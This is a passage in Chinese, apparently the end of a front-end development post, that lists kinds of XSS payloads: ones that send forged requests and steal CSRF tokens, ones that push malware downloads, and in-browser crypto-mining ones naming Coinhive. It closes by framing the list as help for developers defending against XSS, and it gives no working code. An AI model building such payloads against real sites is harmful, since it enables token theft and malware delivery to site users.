9. **CSRF 辅助 Payload**:自动发送请求、窃取 CSRF Token
10. **恶意软件分发 Payload**:下载恶意文件、诱导下载
11. **网页挖矿 Payload**:使用 Coinhive、JSEncrypt
通过了解这些 Payload,开发者可以更好地检测和防护 XSS 攻击。
前端 · 2月21日 16:25